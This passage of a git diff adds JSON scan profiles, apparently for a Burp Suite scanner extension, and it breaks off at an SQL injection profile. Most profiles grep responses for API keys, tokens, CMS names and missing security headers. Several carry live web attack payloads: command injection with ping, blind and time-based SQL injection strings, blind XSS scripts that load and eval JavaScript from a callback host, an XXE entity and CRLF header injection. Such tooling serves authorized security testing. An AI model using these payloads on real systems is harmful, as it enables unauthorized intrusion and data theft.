b/src/profiles/ApiKeyRequest.bb new file mode 100755 index 0000000..913cb4a --- /dev/null +++ b/src/profiles/ApiKeyRequest.bb @@ -0,0 +1 @@ +[{"Name":"ApiKeyRequest","Enabled":true,"Scanner":3,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["api_key","api-key","api key","apikey"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"ApiKeyRequest","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Api Key found","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/ApiKeyResponse.bb b/src/profiles/ApiKeyResponse.bb new file mode 100755 index 0000000..5ddd4c2 --- /dev/null +++ b/src/profiles/ApiKeyResponse.bb @@ -0,0 +1 @@ +[{"Name":"ApiKeyResponse","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["api_key","api-key","api key","apikey"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"ApiKeyResponse","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Api Key found","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/ApiPath.bb b/src/profiles/ApiPath.bb new file mode 100755 index 0000000..5fcbcee --- /dev/null +++ b/src/profiles/ApiPath.bb @@ -0,0 +1 @@ +[{"Name":"ApiPath","Enabled":true,"Scanner":3,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["/api/","internal_api"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"ApiPath","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Api Path found","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/AuthorizationBearerToken.bb b/src/profiles/AuthorizationBearerToken.bb new file mode 100755 index 0000000..0362b48 --- /dev/null +++ b/src/profiles/AuthorizationBearerToken.bb @@ -0,0 +1 @@ +[{"Name":"AuthorizationBearerToken","Enabled":true,"Scanner":3,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["Authorization: Bearer"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"AuthorizationBearerToken","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Authorization Bearer Token Found","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/BlindRCE.bb b/src/profiles/BlindRCE.bb new file mode 100755 index 0000000..b6ca965 --- /dev/null +++ b/src/profiles/BlindRCE.bb @@ -0,0 +1 @@ +[{"Name":"BlindRCE","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":[" || ping -c 2 {BC}"," | ping -c 2 {BC}","; ping -c 2 {BC}"," \u0026\u0026 ping -c 2 {BC}"," \u0026 ping -c 2 {BC}"],"Encoder":[],"UrlEncode":true,"CharsToUrlEncode":"|;\u0026","Grep":[],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":4,"MaxRedir":0,"payloadPosition":2,"payloadsFile":"","grepsFile":"","IssueName":"BlindRCE","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"RCE with el payloads: \u003cbr\u003e \u003cpayload\u003e","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/BlindSQLi-ContentLength.bb b/src/profiles/BlindSQLi-ContentLength.bb new file mode 100755 index 0000000..ffb220d --- /dev/null +++ b/src/profiles/BlindSQLi-ContentLength.bb @@ -0,0 +1 @@ +[{"Name":"BlindSQLi-ContentLength","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":[" or 1\u003d2"," or 1\u003d2-- "," or 1\u003d2#"," or 1\u003d2/*"," and 1\u003d2--"," and 1\u003d2"," and 1\u003d2#"," and 1\u003d2/*","\u0027 or \u00271\u0027\u003d\u00272","\u0027 and \u00271\u0027\u003d\u00272"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":[],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"3000","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":6,"RedirType":0,"MaxRedir":0,"payloadPosition":2,"payloadsFile":"","grepsFile":"","IssueName":"BlindSQLi-ContentLength","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"Blind SQL injection found.","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] diff --git a/src/profiles/BlindSQLi-TimeBased.bb b/src/profiles/BlindSQLi-TimeBased.bb new file mode 100755 index 0000000..7703707 --- /dev/null +++ b/src/profiles/BlindSQLi-TimeBased.bb @@ -0,0 +1 @@ +[{"Name":"BlindSQLi-TimeBased","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["\u0027 and sleep 12--","\u0027 and sleep 12","\u0027 and sleep 12 and \u00271\u0027\u003d\u00271","\u0027 and sleep(12) and \u00271\u0027\u003d\u00271","\u0027 and sleep(12)--","\u0027 and sleep(12)",";sleep(12)--","\u0027 SELECT BENCHMARK(1200000,MD5(\u0027A\u0027));","\u0027 SELECT SLEEP(12); #","\u0027 WAITFOR DELAY \u00270:0:12\u0027--","\u0027 WAITFOR DELAY \u00270:0:12\u0027","\u0027 SELECT pg_sleep(12);"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":[],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"8","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":5,"RedirType":0,"MaxRedir":0,"payloadPosition":2,"payloadsFile":"","grepsFile":"","IssueName":"BlindSQLi-TimeBased","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/BlindXSS.bb b/src/profiles/BlindXSS.bb new file mode 100755 index 0000000..568e9b4 --- /dev/null +++ b/src/profiles/BlindXSS.bb @@ -0,0 +1 @@ +[{"Name":"BlindXSS","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["\u003cscript\u003e$.getScript(\"//{BC}\")\u003c/script\u003e","\u003cscript\u003efunction b(){eval(this.responseText)};a\u003dnew XMLHttpRequest();a.addEventListener(\"load\", b);a.open(\"GET\", \"//{BC}\");a.send();\u003c/script\u003e","\"\u003e\u003cscript src\u003dhttp://{BC}\u003e\u003c/script\u003e","javascript:eval(\u0027var a\u003ddocument.createElement(\\\u0027script\\\u0027);a.src\u003d\\\u0027http://{BC}\\\u0027;document.body.appendChild(a)\u0027)"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":[],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":0,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"BlindXSS","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"Blind XSS found with payloads: \u003cbr\u003e \u003cpayload\u003e","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/BlindXXE.bb b/src/profiles/BlindXXE.bb new file mode 100755 index 0000000..a3496a6 --- /dev/null +++ b/src/profiles/BlindXXE.bb @@ -0,0 +1 @@ +[{"Name":"BlindXXE","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["\u003c?xml version\u003d\"1.0\" encoding\u003d\"ISO-8859-1\"?\u003e\u003c!DOCTYPE foo [\u003c!ELEMENT foo ANY\u003e\u003c!ENTITY xxe SYSTEM \"http://{BC}\"\u003e]\u003e\u003cfoo\u003e\u0026xee;\u003c/foo\u003e"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":[],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":0,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"BlindXXE","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"BLIND XXE found","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/CMSDetection.bb b/src/profiles/CMSDetection.bb new file mode 100755 index 0000000..a644d6b --- /dev/null +++ b/src/profiles/CMSDetection.bb @@ -0,0 +1 @@ +[{"Name":"CMSDetection","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["Wordpress","Drupal","Joomla","Magento","concre5","SharePoint","django","XOOPS","BigCommerce","Weebly","Ecwid","3dcart","WooCommerce"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"CMSDetection","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"CMS Found: \u003cbr\u003e\u003cgrep\u003e","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/CRLF-Attack.bb b/src/profiles/CRLF-Attack.bb new file mode 100755 index 0000000..903f6a5 --- /dev/null +++ b/src/profiles/CRLF-Attack.bb @@ -0,0 +1 @@ +[{"Name":"CRLF-Attack","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["%0D%0ASet-Cookie:%20mycookie\u003dmyvalue"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":[" ^Set-Cookie:\\smycookie\u003dmyvalue"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":true,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":3,"MaxRedir":3,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"CRLF-Attack","IssueSeverity":"Medium","IssueConfidence":"Certain","IssueDetail":"","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/Cache-Control.bb b/src/profiles/Cache-Control.bb new file mode 100755 index 0000000..bef21ca --- /dev/null +++ b/src/profiles/Cache-Control.bb @@ -0,0 +1 @@ +[{"Name":"Cache-Control","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["Cache-Control: no-store"],"Tags":["All"],"PayloadResponse":false,"NotResponse":true,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":true,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"Cache-Control","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Security Header \"Cache-Control\" not present in response.","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/Content-Security-Policy.bb b/src/profiles/Content-Security-Policy.bb new file mode 100755 index 0000000..20c56b4 --- /dev/null +++ b/src/profiles/Content-Security-Policy.bb @@ -0,0 +1 @@ +[{"Name":"Content-Security-Policy","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["Content-Security-Policy"],"Tags":["All"],"PayloadResponse":false,"NotResponse":true,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"Content-Security-Policy","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Security Header \"Content-Security-Policy\" not present in response.","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/CookieAttrubute-HttpOnly.bb b/src/profiles/CookieAttrubute-HttpOnly.bb new file mode 100755 index 0000000..e70b5ae --- /dev/null +++ b/src/profiles/CookieAttrubute-HttpOnly.bb @@ -0,0 +1 @@ +[{"Name":"CookieAttrubute-HttpOnly","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["set-cookie:\\s*(?!.*(httponly)).*"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":2,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"CookieAttrubute-HttpOnly","IssueSeverity":"Low","IssueConfidence":"Firm","IssueDetail":"Cookie attribute \"HttpOnly\" not present: \u003cbr\u003e \u003cgrep\u003e","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/CookieAttrubute-SameSite.bb b/src/profiles/CookieAttrubute-SameSite.bb new file mode 100755 index 0000000..8a7a008 --- /dev/null +++ b/src/profiles/CookieAttrubute-SameSite.bb @@ -0,0 +1 @@ +[{"Name":"CookieAttrubute-SameSite","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["set-cookie:\\s*(?!.*(samesite)).*"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":2,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"CookieAttrubute-SameSite","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Cookie attribute \"Samesite\" not present: \u003cbr\u003e \u003cgrep\u003e","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/CookieAttrubute-Secure.bb b/src/profiles/CookieAttrubute-Secure.bb new file mode 100755 index 0000000..cb61c86 --- /dev/null +++ b/src/profiles/CookieAttrubute-Secure.bb @@ -0,0 +1 @@ +[{"Name":"CookieAttrubute-Secure","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["set-cookie:\\s*(?!.*(secure)).*"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":2,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"CookieAttrubute-Secure","IssueSeverity":"Low","IssueConfidence":"Firm","IssueDetail":"Cookie attribute \"secure\" not present: \u003cbr\u003e\u003cgrep\u003e\n\n","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/DefaultRDP.bb b/src/profiles/DefaultRDP.bb new file mode 100755 index 0000000..a55a612 --- /dev/null +++ b/src/profiles/DefaultRDP.bb @@ -0,0 +1 @@ +[{"Name":"DefaultRDP","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["default.rdp"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"DefaultRDP","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Default RDP Found:\u003cbr\u003e\n\nhttps://www.exploit-db.com/ghdb/5023/","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/DirectoryListing.bb b/src/profiles/DirectoryListing.bb new file mode 100755 index 0000000..8c1e173 --- /dev/null +++ b/src/profiles/DirectoryListing.bb @@ -0,0 +1 @@ +[{"Name":"DirectoryListing","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["Index of /"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"DirectoryListing","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Directory Listing found","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/Drupalgeddon.bb b/src/profiles/Drupalgeddon.bb new file mode 100755 index 0000000..eac2620 --- /dev/null +++ b/src/profiles/Drupalgeddon.bb @@ -0,0 +1 @@ +[{"Name":"Drupalgeddon","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["\\/user\\/register.*Powered by Drupal"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":2,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"Drupalgeddon","IssueSeverity":"High","IssueConfidence":"Firm","IssueDetail":"Possible Drupalgeddon 2 or 3:\u003cbr\u003e\n\n\u003cbr\u003ehttps://www.exploit-db.com/ghdb/4782/\n\n\u003cbr\u003ehttps://www.exploit-db.com/exploits/44482/\n\n\u003cbr\u003ehttps://www.exploit-db.com/exploits/44557/\n","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/EmailInput.bb b/src/profiles/EmailInput.bb new file mode 100755 index 0000000..f1e010d --- /dev/null +++ b/src/profiles/EmailInput.bb @@ -0,0 +1 @@ +[{"Name":"EmailInput","Enabled":true,"Scanner":3,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["type\u003demail"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"EmailInput","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Email Input Found","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/EndpointsExtractor.bb b/src/profiles/EndpointsExtractor.bb new file mode 100755 index 0000000..e921028 --- /dev/null +++ b/src/profiles/EndpointsExtractor.bb @@ -0,0 +1 @@ +[{"Name":"EndpointsExtractor","Enabled":true,"Scanner":2,"Author":"@GochaOqradze","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["(?:\"|\u0027)(((?:[a-zA-Z]{1,10}://|//)[^\"\u0027/]{1,}\\.[a-zA-Z]{2,}[^\"\u0027]{0,})|((?:/|\\.\\./|\\./)[^\"\u0027\u003e\u003c,;| *()(%%$^/\\\\\\[\\]][^\"\u0027\u003e\u003c,;|()]{1,})|([a-zA-Z0-9_\\-/]{1,}/[a-zA-Z0-9_\\-/]{1,}\\.(?:[a-zA-Z]{1,4}|action)(?:[\\?|/][^\"|\u0027]{0,}|))|([a-zA-Z0-9_\\-]{1,}\\.(?:php|asp|aspx|jsp|json|action|html|js|txt|xml)(?:\\?[^\"|\u0027]{0,}|)))(?:\"|\u0027)"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":true,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":2,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"EndpointsExtractor","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Regex by Gerben_Javado : \n\u003cbr\u003ehttps://github.com/GerbenJavado/LinkFinder/blob/master/linkfinder.py\n\n\u003cbr\u003e\u003cbr\u003eEndpoints: \u003cbr\u003e\u003cgrep\u003e","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/ErrorPages-JobApps.bb b/src/profiles/ErrorPages-JobApps.bb new file mode 100755 index 0000000..4904b0e --- /dev/null +++ b/src/profiles/ErrorPages-JobApps.bb @@ -0,0 +1 @@ +[{"Name":"ErrorPages-JobApps","Enabled":true,"Scanner":3,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["syd_apply.cfm"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"ErrorPages-JobApps","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Find error pages for job applications, sometimes can contain juicy information:\u003cbr\u003e\n\nhttps://www.exploit-db.com/ghdb/5033/","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/ErrorSQLi.bb b/src/profiles/ErrorSQLi.bb new file mode 100755 index 0000000..0e0f584 --- /dev/null +++ b/src/profiles/ErrorSQLi.bb @@ -0,0 +1 @@ 